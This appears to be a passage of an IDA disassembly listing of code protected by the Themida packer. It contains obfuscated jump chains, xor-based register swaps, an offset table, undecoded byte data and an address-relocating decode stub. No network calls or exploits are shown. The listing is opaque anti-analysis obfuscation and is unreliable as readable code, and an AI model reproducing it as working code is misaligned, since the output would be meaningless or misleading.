		db 48h,	35h, 0C1h
		dd 0E968DB2Ch, 0FFFFCDF8h
; ---------------------------------------------------------------------------


loc_55F784:				; CODE XREF: Themida_:00556EA5j
		dec	ecx
		push	edi
		mov	edi, 1A41684Ch
		shl	edi, 7
		or	edi, 2660EB0h
		jmp	loc_55F608
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 83243C8Bh, 7F6804C4h, 8900005Fh, 0E389241Ch,	4C381h
		dd 0C3810000h, 4, 0FF5958E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55F7BD:				; CODE XREF: Themida_:00559241j
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		push	3C95h
		mov	[esp], edi
		jmp	loc_55C595
; ---------------------------------------------------------------------------
		dw 8957h
		dd 685650E7h, 64594266h, 0FF6E74E9h, 86D0F6FFh,	0DF1DE9C5h
		dd 0FC2CFFFFh, 8124148Bh, 4C4h,	8178E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55F7FE:				; CODE XREF: Themida_:0055C854j
		pop	eax
		jmp	loc_55DB81
; ---------------------------------------------------------------------------


loc_55F804:				; CODE XREF: Themida_:0055BA1Bj
		xor	esi, ebp
		xor	ebp, esi
		xor	esi, ebp
		push	ebp
		not	dword ptr [esp]
		mov	ebp, [esp]
		jmp	loc_55BC2E
; ---------------------------------------------------------------------------
		dd offset dword_4B5248+8820h
		dw 8900h
aT_uAn_hu2	db '<$T_U½ANÇ_hî2',0
		dw 8900h
		dd 0F4E92414h, 52FFFFC0h, 2175DCBAh, 0DAF74A2Dh, 6B5DE942h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55F842:				; CODE XREF: Themida_:00555084j
		xor	edi, ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_559B01
; ---------------------------------------------------------------------------
byte_55F84F	db 66h			; DATA XREF: Themida_:00553394o
		dd 83240C8Bh, 348904ECh, 68E68924h, 120Dh, 56241489h, 9B036EBEh
		dd 9EB6E962h, 0BD55FFFFh, 0C4460C3h, 0EE9EB09h,	0B9FFFFCFh
		dd 4, 0E9h, 5DDF0500h, 0C8011273h, 735DDF2Dh, 4875912h
		dd 1A2C5C24h, 0F3E9F000h, 31FFFFCFh, 2C33242Ch,	24D35C24h
		dd 3C71E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55F8AE:				; CODE XREF: Themida_:00558462j
		sub	edx, 4
		xchg	edx, [esp]
		jmp	loc_5564EB
; ---------------------------------------------------------------------------
		db 88h,	0E2h, 0E9h
		dd 0FFFF7553h
; ---------------------------------------------------------------------------


loc_55F8C0:				; CODE XREF: Themida_:0055BD89j
		push	6D7Fh
		jmp	loc_55F395
; ---------------------------------------------------------------------------
		dw 0E8B9h
dword_55F8CC	dd 81272A6Dh, 2C5EBBC6h, 0B25BE916h, 0E9D1FFFFh, 7877C981h
		dd 0E98147E2h, 23804601h, 4CC1B850h, 7AE977E0h,	58FFFF59h
		dd 81E18951h, 4C1h, 43E95000h, 0FEFFFF81h, 5FB151C6h, 0FE50E980h
		dd 4E1C0C9h, 3EB05066h,	79341204h, 5866C130h, 0C8BCE30h
		dd 4C48124h, 0E9000000h, 0FFFF9AA9h
; ---------------------------------------------------------------------------


loc_55F92C:				; CODE XREF: Themida_:0055D773j
		sub	ebp, 251F1B36h
		xor	ebp, 0D17272A3h
		xor	eax, ebp
		pop	ebp
		jmp	loc_55BA6B
; ---------------------------------------------------------------------------
		dd 0D9885966h, 4631E95Bh, 0C481FFFFh, 4, 0C781D701h, 1C6F43ABh
		dd 0BE56525Ah, 20EB12C9h, 68FC60BAh, 5EF201FBh,	5E4CBF57h
		dd 0EA817511h, 422752C5h, 0C281FA01h, 422752C5h, 8411E95Fh
		dd 0DEF6FFFFh, 801AE680h, 0F68045F6h, 0E4F680D1h, 0FF7075E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55F995:				; CODE XREF: Themida_:00555594j
		or	eax, eax
		jnz	loc_555E7F
		sub	esp, 4
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_55C33C
; ---------------------------------------------------------------------------
		dd 405h, 32DB6800h, 0D4E90000h,	1FFFF77h, 0E3E95FFAh
		db 3Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55F9CB:				; CODE XREF: Themida_:00559E57j
		pop	ebx
		pop	ebp
		jmp	loc_55351F
; ---------------------------------------------------------------------------


loc_55F9D2:				; CODE XREF: Themida_:00554E9Cj
		or	eax, eax
		jz	loc_556108
		push	dword ptr [edi+28h]
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		push	esi
		mov	esi, 4
		jmp	loc_55A116
; ---------------------------------------------------------------------------


loc_55F9FD:				; CODE XREF: Themida_:00556F02j
		push	ebx
		push	dword ptr [esp+4]
		mov	ebx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], dx
		push	eax
		mov	ah, 63h
		mov	dh, ah
		push	dword ptr [esp]
		jmp	loc_5561A7
; ---------------------------------------------------------------------------
		db 1, 0D7h, 5Ah
		dd 0FF5942E9h
		db 0FFh
byte_55FA25	db 0FFh, 77h, 1Ch	; DATA XREF: Themida_:005532B4o
		dd 6658669Dh, 9C240411h, 0FF4F35E9h, 53C781FFh,	290BB225h
		dd 51515FF9h, 61F7DB9h,	244C3175h, 815D5904h, 61F7DF5h
		dd 0E8015975h, 57F7E95Dh, 1487FFFFh, 24248B24h,	24048B66h
		dd 0B7CBE955h, 5152FFFFh, 36E9ADB5h, 81FFFFE2h,	4ECh, 240C8900h
		dd 337FABB9h, 4D04E936h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55FA86:				; CODE XREF: Themida_:0055815Dj
		mov	edx, 55120FD6h
		and	edi, edx
		pop	edx
		xor	edi, 55820FD6h
		and	eax, edi
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_557C36
; ---------------------------------------------------------------------------
		db 54h,	8Fh, 4
		dd 0F5E95124h, 0FFFFFF7Fh, 59E92434h, 29FFFFABh, 11BD55D3h
		dd 176FA63h, 148B5DEBh,	4C48124h, 81000000h, 494D1EEBh
		dd 84C3812Dh, 0E959A71Dh, 0FFFFF011h
; ---------------------------------------------------------------------------


loc_55FAD8:				; CODE XREF: Themida_:0055EF3Fj
		pop	esp
		mov	[esp], esi
		push	7E75h
		mov	[esp], ebx
		mov	ebx, 3C2E3A97h
		jmp	loc_55B382
; ---------------------------------------------------------------------------
		dw 895Ch
		dd 0EB88241Ch, 4246C8Ah, 4245C88h, 0FFD7BEE9h, 525D54FFh
		dd 4BAh, 4BC58100h, 0E93BB178h,	0FFFFDBABh, 15BD929h, 240C8BCEh
		dd 5004C483h, 672568h, 242C8900h, 2BDh,	5DE88900h, 0E958C601h
		dd 0FFFF63BBh
; ---------------------------------------------------------------------------


loc_55FB38:				; CODE XREF: Themida_:00554D7Bj
		mov	esp, [esp]
		sub	esp, 4
		jmp	loc_55E7C0
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C4832404h, 0DEE0E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55FB4E:				; CODE XREF: Themida_:0055EB30j
		movzx	cx, al
		push	edx
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_554610
; ---------------------------------------------------------------------------
		db 0E9h, 0B5h, 39h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55FB6A:				; CODE XREF: Themida_:00558E25j
		pop	edx
		pop	dword ptr [esp]
		jmp	loc_55CA0C
; ---------------------------------------------------------------------------
		db 0FFh
		dd 50582434h, 0FFE9B9E9h, 243C8BFFh, 4C481h, 0D3E90000h
		db 8Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55FB8B:				; CODE XREF: Themida_:0055C39Cj
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_55DA9D
; ---------------------------------------------------------------------------
		db 81h,	0EAh, 94h
		dd 0C152DA62h, 0E2C102EAh, 0D54DE908h, 1C89FFFFh, 19B6BB24h
		dd 0DF016B68h, 0FFA8F4E9h, 0A6E95AFFh, 8BFFFF4Ch, 0FEE92424h
		db 3Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55FBC7:				; CODE XREF: Themida_:00559560j
		mov	esi, 261D6CA4h
		add	ebx, esi
		pop	esi
		jmp	loc_556012
; ---------------------------------------------------------------------------


loc_55FBD4:				; CODE XREF: Themida_:0055969Aj
		xchg	ebp, [esp]
		pop	esp
		pop	dword ptr [esp]
		mov	esp, [esp]
		bt	[esp], ax
		pushf
		jmp	loc_55351F
; ---------------------------------------------------------------------------
		db 29h,	0DDh, 5Bh
		dd 0FFFA2CE9h, 4C481FFh, 0E9000000h, 0FFFF9DA6h
; ---------------------------------------------------------------------------


loc_55FBFC:				; CODE XREF: Themida_:0055B15Aj
		mov	ebp, 0AC6251Bh
		not	ebp
		neg	ebp
		jmp	loc_5596CF
; ---------------------------------------------------------------------------
		dw 6866h
		dd 8966093Bh, 0D6E92404h
		db 0D9h, 2 dup(0FFh)
byte_55FC17	db 0ACh			; DATA XREF: Themida_:00553408o
		dd 0FFE8D3E9h, 243C8BFFh, 0FFCBBCE9h, 242C81FFh, 3A5F79A0h
		dd 0A0C18159h, 0E93A5F79h, 0FFFF6C14h, 0E9241487h, 0FFFF63E7h
		dd 230ABD55h, 0EDC12E7Ah, 0A8B85003h, 4848E603h, 2E19E705h
		dd 58C501D4h, 2C8BEE01h, 4C48324h, 0F227E95Bh, 595AFFFFh
		dd 8904EC83h, 0CB5240Ch, 0E99EB353h, 0FFFF74D5h, 5BACA7h
		dd 16E9h, 33133250h, 5BB8B0h, 0FA44B46Bh, 5BACF1h, 0
		dd 213h, 2, 1, 6, 0FA44B46Bh, 5	dup(0)
		dd offset byte_56F90D
		dd offset byte_573509
		dd offset byte_574113
		dd offset word_56E9D2
		dd offset byte_564545
		dd offset dword_568298
		dd offset word_5753F6
		dd offset byte_5711C1
		dd offset byte_569A37
		dd offset dword_56D464
		dd offset word_573612
		dd offset byte_5753A5
		dd offset word_570082
		dd offset word_56E90A
		dd offset byte_572075
		dd offset byte_57266F
		dd offset byte_56666D
		dd offset byte_570E81
		dd offset dword_562BA0
		dd offset byte_56AB51
		dd offset word_56F782
		dd offset word_563FA2
		dd offset word_563152
		dd offset dword_575420
		dd offset byte_56628B
		dd offset byte_566117
		dd offset byte_56D69D
		dd offset byte_5745B5
		dd offset byte_572D45
		dd offset dword_57549C
		dd offset byte_563207
		dd offset dword_5716E8
		dd offset byte_573A7F
		dd offset word_574F16
		dd offset byte_56E96D
		dd offset dword_56E608
		dd offset word_56CBEE
		dd offset dword_572270
		dd offset word_566882
		dd offset word_5697F2
		dd offset dword_564BD0
		dd offset byte_5644C3
		dd offset word_560EC2
		dd offset byte_5619EF
		dd offset dword_56E0B0
		dd offset byte_5747AF
		dd offset word_5738FA
		dd offset aMfsh1	; "¬fSh1\""
		dd offset word_5739E2
		dd offset word_56BD36
		dd offset byte_56B06D
		dd offset byte_572DD7
		dd offset word_56241E
		dd offset byte_5726FB
		dd offset word_560C12
		dd offset dword_568764
		dd offset dword_574000
		dd offset word_570732
		dd offset dword_569FB8
		dd offset word_56931E
		dd offset byte_56D3AF
		dd offset byte_574287
		dd offset byte_5713A7
		dd offset byte_569A75
		dd offset byte_56BC97
		dd offset byte_5629A9
		dd offset word_560782
		dd offset dword_568658
		dd offset byte_56D3B7
		dd offset dword_561784
		dd offset word_57523A
		dd offset word_567CFE
		dd offset byte_566AF1
		dd offset byte_56DFF9
		dd offset dword_5690E8
		dd offset byte_563ADF
		dd offset word_570ADA
		dd offset byte_568859
		dd offset byte_56C233
		dd offset dword_569CDC
		dd offset byte_574AF3
		dd offset dword_573D90
		dd offset byte_572141
		dd offset byte_56EE9F
		dd offset dword_570A94
		dd offset byte_560137
		dd offset byte_56D359
		dd offset byte_564017
		dd offset word_562EA2
		dd offset byte_5734A7
		dd offset byte_56E5BB
		dd offset word_574CBE
		dd offset byte_564B0B
		dd offset dword_56E7C8
		dd offset byte_574FC9
		dd offset word_562676
		dd offset word_56DEC6
		dd offset byte_562ED9
		dd offset byte_56D855
		dd offset word_560EA2
		dd offset byte_567CF5
		dd offset dword_56264C
		dd offset byte_56B6D5
		dd offset byte_56DDC5
		dd offset dword_565BBC
		dd offset dword_567CC4
		dd offset byte_56CD13
		dd offset dword_572EDC
		dd offset a131Hgb	; "1,$3,$1,$h£B"
		dd offset word_567D72
		dd offset aNhbm		; "­hm"
		dd offset byte_5692D3
		dd offset word_5729DA
		dd offset byte_56AB93
		dd offset word_569186
		dd offset byte_56BD61
		dd offset word_5604FE
		dd offset byte_5671E1
		dd offset byte_565CB7
		dd offset byte_567F6F
		dd offset word_567866
		dd offset dword_569CBC
		dd offset byte_561F05
		dd offset word_56CC46
		dd offset dword_567C58
		dd offset word_56F3B2
		dd offset word_564746
		dd offset dword_566400
		dd offset word_5754DA
		dd offset byte_57109F
		dd offset dword_56638C
		dd offset dword_560844
		dd offset word_56306E
		dd offset byte_566AF9
		dd offset word_56749A
		dd offset dword_56FD38
		dd offset word_570C6A
		dd offset byte_569E1B
		dd offset word_5680F2
		dd offset byte_574503
		dd offset byte_569DB5
		dd offset aM0HG		; "¬0Øh/G"
		dd offset byte_5729F9
		dd offset dword_569A84
		dd offset dword_571890
		dd offset byte_570621
		dd offset word_56592A
		dd offset dword_56C474
		dd offset byte_56D455
		dd offset word_56EF22
		dd offset byte_573A8F
		dd offset byte_56F029
		dd offset aMhsy		; "¬h‘Y"
		dd offset dword_570CE4
		dd offset dword_56D414
		dd offset dword_56FA44
		dd offset byte_5662F9
		dd offset word_5747FA
		dd offset dword_560CAC
		dd offset word_56CA02
		dd offset off_5684A6
		dd offset dword_571A50
		dd offset byte_574229
		dd offset word_572E16
		dd offset byte_574A21
		dd offset dword_56B1DC
		dd offset word_5740F2
; ---------------------------------------------------------------------------


loc_55FF58:				; CODE XREF: Themida_:005AB483j
					; Themida_:005AD14Aj ...
		pusha
		pushf
		cld
		call	$+5
		pop	edi
		sub	edi, 6114AF5h
		mov	eax, edi
		add	edi, 611480Dh
		cmp	eax, [edi+2Ch]
		jnz	short loc_55FF76
		jmp	short loc_55FF89
; ---------------------------------------------------------------------------


loc_55FF76:				; CODE XREF: Themida_:0055FF72j
		mov	[edi+2Ch], eax
		mov	ecx, 0A7h
		jmp	short loc_55FF85
; ---------------------------------------------------------------------------


loc_55FF80:				; CODE XREF: Themida_:0055FF87j
		add	[edi+ecx*4+40h], eax
		dec	ecx


loc_55FF85:				; CODE XREF: Themida_:0055FF7Ej
		or	ecx, ecx
		jnz	short loc_55FF80


loc_55FF89:				; CODE XREF: Themida_:0055FF74j
		mov	esi, [esp+24h]
		mov	ebx, esi
		add	esi, eax
		mov	ecx, 1


loc_55FF96:				; CODE XREF: Themida_:0055FF9Dj
		xor	eax, eax
		lock cmpxchg [edi+30h],	ecx
		jnz	short loc_55FF96


loc_55FF9F:				; CODE XREF: Themida_:00560317j
					; Themida_:005617C4j ...
		lodsb
		add	al, 92h
		jmp	loc_56FA15
; ---------------------------------------------------------------------------
		db 83h
		dd 0F33104C4h, 2DEB815Eh, 0E9E43A69h, 146A4h, 1BF57h, 0F8010000h
		dd 0A651355Fh, 0C129789Fh, 4EC8158h, 89000000h,	481240Ch
		dd 0F95B6824h, 0BA525D7Dh, 5EF93172h, 0E116E9h,	240C8700h
		dd 6624248Bh, 0E99CC83Bh, 0FFFFFFABh
; ---------------------------------------------------------------------------


loc_55FFF4:				; CODE XREF: Themida_:0056E952j
		pop	edx
		push	7C71h
		mov	[esp], eax


loc_55FFFD:				; DATA XREF: Themida_:005839B8o
		mov	eax, 36857CC9h
		jmp	loc_573459
; ---------------------------------------------------------------------------
		db 2Dh
		dd 623660FEh, 48BC301h,	4C48124h, 81000000h, 0FB5339EBh
		dd 0E9C30141h, 0A73Fh, 0C8BCD89h, 215EE924h
		db 1, 0
; ---------------------------------------------------------------------------


loc_56002E:				; CODE XREF: Themida_:00574488j
		mov	esi, 6F6058AAh
		jmp	loc_57477E
; ---------------------------------------------------------------------------


loc_560038:				; CODE XREF: Themida_:00565055j
		push	esp
		jmp	loc_566F09
; ---------------------------------------------------------------------------
		dw 5CE9h
		db 3 dup(0FFh)
; ---------------------------------------------------------------------------


loc_560043:				; CODE XREF: Themida_:0056AE7Aj
		xchg	esi, [esp]
		pop	esp
		push	eax
		push	ecx
		mov	ecx, 463E4372h
		mov	eax, ecx
		pop	ecx
		jmp	loc_56F333
; ---------------------------------------------------------------------------


loc_560056:				; CODE XREF: Themida_:00572800j
		push	ebp
		jmp	loc_56CB17
; ---------------------------------------------------------------------------
		dd 6EC268h, 2B31E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_560066:				; CODE XREF: Themida_:00570950j
		push	ebx
		mov	ebx, 1096426Eh
		add	ecx, ebx
		pop	ebx
		jmp	loc_572631
; ---------------------------------------------------------------------------


loc_560074:				; CODE XREF: Themida_:0056DC9Dj
		mov	ebx, [esp]
		add	esp, 4
		add	esp, 4
		shr	ecx, 7
		push	2617h
		mov	[esp], edx
		push	ebx
		push	ecx
		mov	ecx, 3F822223h
		sub	[esp+4], ecx
		pop	ecx
		mov	edx, [esp]
		add	esp, 4
		add	edx, 3F822223h
		push	ecx
		mov	ecx, edx
		push	ecx
		pop	eax
		pop	ecx
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_56DE34
; ---------------------------------------------------------------------------
		db 0B8h
		dd 5CC35B23h, 6D79FD35h, 35C32D57h, 3B35706Bh, 0F716E153h
		dd 41DB35D0h, 0C301725Ch, 8124048Bh, 4C4h, 44B56800h, 0C890000h
		dd 4B924h, 0EB810000h, 516E0BCCh, 0C381CB01h, 516E0BCCh
		dd 81240C8Bh, 4C4h, 241C8700h, 2D24248Bh, 13510169h, 34FFC389h
		dd 0C4835824h, 47EB6804h, 80E90000h
		db 1Ah,	1, 0
; ---------------------------------------------------------------------------


loc_56011F:				; CODE XREF: Themida_:00563650j
		dec	ebp
		dec	ebp
		sub	ebp, 0A8E51A2Ah
		add	ebx, ebp
		pop	ebp
		sub	ecx, 1A65219Ch
		add	ecx, ebx
		jmp	loc_56FAFD
; ---------------------------------------------------------------------------
byte_560137	db 66h			; DATA XREF: Themida_:0055FE10o
		dd 68240C8Bh, 952h, 1242E9h, 0FDE58100h, 575E0A77h, 6A72BABFh
		dd 0D087E93Dh, 22B40000h, 0EBB4E9h, 0C686600h, 0C89665Ah
		dd 68E95224h, 1000123h,	0C335FF9h, 240C3124h, 5C240C33h
		dd 0FFFE22E9h, 4EE81FFh, 87000000h, 0E95C2434h,	12380h
; ---------------------------------------------------------------------------


loc_56018C:				; CODE XREF: Themida_:00572EF4j
		mov	edx, ebp
		pop	ebp
		sub	edx, ecx
		push	edx
		jmp	loc_56B4FB
; ---------------------------------------------------------------------------


loc_560197:				; CODE XREF: Themida_:00574D61j
		sub	al, ch
		add	al, 7Ch
		pop	ecx
		push	edx
		jmp	loc_567C91
; ---------------------------------------------------------------------------
		dw 0E95Ch
		dd 14040h
; ---------------------------------------------------------------------------


loc_5601A8:				; CODE XREF: Themida_:0056CA1Bj
		mov	[esp], ecx
		jmp	loc_574A64
; ---------------------------------------------------------------------------
aS_5		db '[é%(',0
		align 2
		dw 0EFC1h
		dd 0EEE94704h
		db 0C7h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_5601BF:				; CODE XREF: Themida_:0056EF35j
		sub	edx, esi
		add	edx, 679C747Ch
		xchg	edx, esi
		pop	edx
		push	ecx
		mov	ecx, 5FEF8399h
		sub	esi, 15A27958h
		add	esi, ecx
		add	esi, 15A27958h
		mov	ecx, [esp]
		jmp	loc_5672B7
; ---------------------------------------------------------------------------


loc_5601E6:				; CODE XREF: Themida_:0057164Dj
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_56504F
; ---------------------------------------------------------------------------
		db 5Ah
		dd 8B243487h, 14E92424h, 580000D6h, 104F68h, 24048900h
		dd 0DB56E9h, 4C48300h, 34FFF001h, 2434FF24h, 144EFE9h
		dd 0FD6DE900h, 0BF57FFFFh, 25371A82h, 4DE5B951h, 0E9816737h
		dd 5D195BB2h, 0E9814949h, 0C8E5A84Ah, 5159CF09h, 1F5DCAB9h
		dd 81D9F75Dh, 7342FBE9h, 0A1E1815Bh, 0E9647D28h, 453Dh
; ---------------------------------------------------------------------------


loc_560268:				; CODE XREF: Themida_:00570014j
		add	esp, 4
		shr	ecx, 7
		push	dword ptr [edi+1Ch]
		jmp	loc_56EC70
; ---------------------------------------------------------------------------
		dw 0EC83h
		dd 24348904h, 24256852h, 148B66ABh, 55E95624h, 8100002Fh
		dd 8C4A0FEEh, 6C92E976h, 8B590000h, 0C483240Ch,	0B34CE904h
		dd 0C8010000h, 40559h, 51E90000h, 0BA000121h, 13E61D14h
		dd 5537C281h, 68565763h, 6B49724Fh, 8124348Bh, 4C4h, 5EF23100h
		dd 8904EC83h, 22BA2414h, 2970B560h, 17FE9D6h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5602DE:				; CODE XREF: Themida_:005623E2j
		pop	esp
		push	ebx
		push	esi
		mov	esi, 1AEC4EEDh
		add	esi, 0E513B114h
		mov	ebx, esi
		pop	esi
		add	esi, ebx
		pop	ebx
		push	3DB7h
		jmp	loc_574499
; ---------------------------------------------------------------------------
aAJaqSnq	db '€ÏJ€ï/éï',0
		db 0
; ---------------------------------------------------------------------------


loc_560307:				; CODE XREF: Themida_:0056A060j
		mov	edx, [esp]
		add	esp, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], eax
		jmp	loc_55FF9F
; ---------------------------------------------------------------------------


loc_56031C:				; CODE XREF: Themida_:00564F6Fj
		sub	ecx, ebp
		mov	ebp, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, 4874678Fh
		push	6305h
		jmp	loc_56EE02
; ---------------------------------------------------------------------------
		db 81h
		dd 9C1D8CEBh, 5BDA89B3h, 875AD601h, 248B2434h, 4570E924h
		dd 0E8290000h, 60BD055Dh, 0D8014600h, 60BD2Dh, 22D80546h
		dd 570544B8h, 0E959E230h, 0BFAEh
; ---------------------------------------------------------------------------


loc_560374:				; CODE XREF: Themida_:00565039j
		add	dh, 43h
		xor	dh, 73h
		jmp	loc_566196
; ---------------------------------------------------------------------------
aXsz		db 'XézÁ',0
		dd 24348900h, 6D6E72BEh, 0E6D14671h, 0B9514E4Eh, 5DD45CA1h
		dd 13FA6E9h, 0E9D10100h, 0F390h
; ---------------------------------------------------------------------------


loc_5603A4:				; CODE XREF: Themida_:005751A4j
		sub	ebp, 2F22568h
		add	esi, ebp
		pop	ebp
		push	edx
		mov	edx, 4
		sub	esi, 6A3C18A1h
		sub	esi, edx
		add	esi, 6A3C18A1h
		pop	edx
		xchg	esi, [esp]
		jmp	loc_56D3F0
; ---------------------------------------------------------------------------
a0S_u		db '0Ðé_ž',0
		dd 4DE95E00h, 81000090h, 361397C3h, 81F3013Bh, 361397EBh
		dd 5EE95E3Bh, 5B000137h, 33E9CB01h, 2D00000Dh, 24F96C1Ah
		dd 0D75CB82Dh, 0FA7DE973h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_560402:				; CODE XREF: Themida_:0056E3DFj
		sub	ebx, 2
		xchg	ebx, [esp]
		jmp	loc_56F9A9
; ---------------------------------------------------------------------------
		db 0BFh, 40h, 8
		dd 0CF812CB7h, 10350EAh, 5EF78147h, 0E943D728h,	0E1B1h
		dd 4C681h, 34330000h, 4588E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_560432:				; CODE XREF: Themida_:00565AD8j
		push	dword ptr [esp+4]
		pop	edi
		jmp	loc_560AEE
; ---------------------------------------------------------------------------
		dd 5914DCBDh, 0F53CE90Eh, 0F1800000h, 23D0E9D8h, 0C4830001h
		dd 0F0E95504h
		db 4Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_560457:				; CODE XREF: Themida_:00566CE8j
		push	ebp
		jmp	loc_56BA06
; ---------------------------------------------------------------------------
		db 5Ah,	1, 0D6h
		dd 6022C681h, 148B70B5h, 0C7E95224h, 0C100013Eh, 0C68108EEh
		dd 30B85CF0h, 0C374E9h
		db 0
; ---------------------------------------------------------------------------


loc_56047D:				; CODE XREF: Themida_:0056BBC1j
		mov	esp, [esp]
		push	748Ch
		mov	[esp], ecx
		push	4E24h
		push	esp
		pop	dword ptr [esp]
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_56FD54
; ---------------------------------------------------------------------------


loc_56049F:				; CODE XREF: Themida_:0056545Fj
		mov	[esp], ecx
		mov	ecx, 28h
		add	ecx, edi
		push	dword ptr [ecx]
		mov	eax, [esp]
		add	esp, 4
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ecx
		push	edx
		jmp	loc_56EA4B
; ---------------------------------------------------------------------------
		dw 0D1F7h
		dd 7540F181h, 0C9814C55h, 6820652Fh, 1456E9h, 0C7FE5B00h
		dd 68h,	243C2800h, 55243C8Ah, 4EE95D54h
		db 0BFh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_5604E7:				; CODE XREF: Themida_:0056B116j
		sub	ebp, 578633E3h
		jmp	loc_565726
; ---------------------------------------------------------------------------
		dw 8F5Dh
		dd 248B2404h, 459CE924h
		db 1, 0
word_5604FE	dw 0C8Bh		; DATA XREF: Themida_:0055FE8Co
aHbw		db '$hBW',0
		align 2
		dw 0C89h
		dd 4B6BE924h, 0E9500001h, 1BE8h
; ---------------------------------------------------------------------------


loc_560514:				; CODE XREF: Themida_:00562029j
		pop	esp
		mov	[esp], ebx
		push	6AE5h
		mov	[esp], ecx
		jmp	loc_56738C
; ---------------------------------------------------------------------------
		db 81h,	0F5h, 27h
aDmBXKs		db 'DM[Åx¸Âªé',9,'[',0
		align 2
		dw 0BE56h
		dd 353119F8h, 19F6EE81h, 0F5013531h, 74FF555Eh,	0A3E90424h
		dd 87FFFFFFh
		db 4, 24h, 5Ch
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	edi
		jmp	loc_560C36
; ---------------------------------------------------------------------------


loc_560562:				; CODE XREF: Themida_:0056F811j
		mov	ecx, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_565B36
; ---------------------------------------------------------------------------


loc_560576:				; CODE XREF: Themida_:0056DE3Fj
		push	edi
		push	ebx
		push	edi
		mov	edi, 4
		mov	ebx, edi
		mov	edi, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	edi, ebx
		pop	ebx
		mov	ecx, edi
		jmp	loc_5629B3
; ---------------------------------------------------------------------------


loc_56059D:				; CODE XREF: Themida_:0056EB81j
		mov	ecx, esp
		jmp	loc_570F0F
; ---------------------------------------------------------------------------
		dd 24048F58h, 8924248Bh, 0E9512424h, 1D37h, 0E95EF001h
		dd 0B368h
; ---------------------------------------------------------------------------


loc_5605BC:				; CODE XREF: Themida_:00563039j
		push	ebx
		mov	ebx, esp
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_56BF6A
; ---------------------------------------------------------------------------


loc_5605CD:				; CODE XREF: Themida_:005692CEj
		push	5293h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	eax
		add	eax, 4
		add	eax, 4
		xor	eax, [esp]
		jmp	loc_57125C
; ---------------------------------------------------------------------------


loc_5605EC:				; CODE XREF: Themida_:0056CF37j
		pop	edi
		mov	edi, ecx
		pop	ecx
		jmp	loc_56F4D7
; ---------------------------------------------------------------------------


loc_5605F5:				; CODE XREF: Themida_:00565721j
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		jmp	loc_56E385
; ---------------------------------------------------------------------------


loc_560609:				; CODE XREF: Themida_:0056AFD0j
		pop	eax
		jmp	loc_56ECA9
; ---------------------------------------------------------------------------
		db 81h
		dd 0BF6004F1h, 59CB0173h, 8B241C87h, 54522424h,	4C2815Ah
		dd 81000000h, 4C2h, 24148700h, 1287E95Ch, 0C8300000h, 0FF2434FFh
		dd 7CE92434h, 5C00008Ch, 0B60FC330h, 435E9C0h, 0C1010001h
		dd 35D9E9h, 4C48100h, 50000000h, 837412B8h, 4E0529h, 250502DFh
		dd 0E94A622Eh, 0FFFFF997h, 81E28952h, 4C2h, 4C28300h, 0E9241487h
		dd 12582h
; ---------------------------------------------------------------------------


loc_560684:				; CODE XREF: Themida_:00566468j
		pop	esp
		mov	[esp], edx
		jmp	loc_56C8CE
; ---------------------------------------------------------------------------
		db 57h,	0FFh, 74h
		dd 8F5F0424h, 0C6E92404h, 35000050h, 64CA0CA3h,	0FD11E9h
		dd 242C8100h, 234E325Dh, 5DC2815Ah, 5D234E32h, 90C5EA81h
		dd 0EE8170CFh, 2A16773Ch, 0C681D629h, 2A16773Ch, 5A2434FFh
		dd 4C481h, 692D0000h, 11E3900h,	6905F0h, 0D8E91E39h, 550000EDh
		dd 6F30E9h
		db 0
; ---------------------------------------------------------------------------


loc_5606E9:				; CODE XREF: Themida_:0056AFB0j
		sub	ch, 61h
		or	dl, ch
		push	dword ptr [esp]
		pop	ecx
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		jmp	loc_573569
